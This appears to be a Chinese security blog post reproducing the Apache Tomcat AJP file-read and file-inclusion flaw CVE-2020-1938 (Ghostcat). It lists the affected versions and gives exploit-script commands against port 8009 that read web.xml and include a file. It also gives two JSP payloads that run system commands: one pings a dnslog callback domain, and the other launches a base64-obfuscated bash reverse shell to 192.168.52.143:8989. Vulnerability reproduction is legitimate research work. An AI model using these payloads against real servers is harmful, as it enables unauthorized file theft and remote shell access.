Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

0x01 漏洞影响

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

0x02 前提

  • 目标机器开启AJP Connector 服务端口(默认开启,为8009端口)

0x03 文件读取&文件包含RCE

  • 文件读取
py -2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 192.168.52.130

Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

  • 文件包含
py -2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 192.168.52.130

Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

  • test.txt
<%
        java.io.InputStream in = Runtime.getRuntime().exec("ping mdd7e.dnslog.cn").getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
                out.println(new String(b));
        }
        out.print("</pre>");
%>

0x04 反弹shell

  • shell.txt
<%
        java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE0My84OTg5IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
                out.println(new String(b));
        }
        out.print("</pre>");
%>

Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

0x05 参考链接

http://www.svenbeast.com/post/fqSI9laE8/


本文作者: iceH
本文链接: http://www.secice.cn/p/933884b8
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!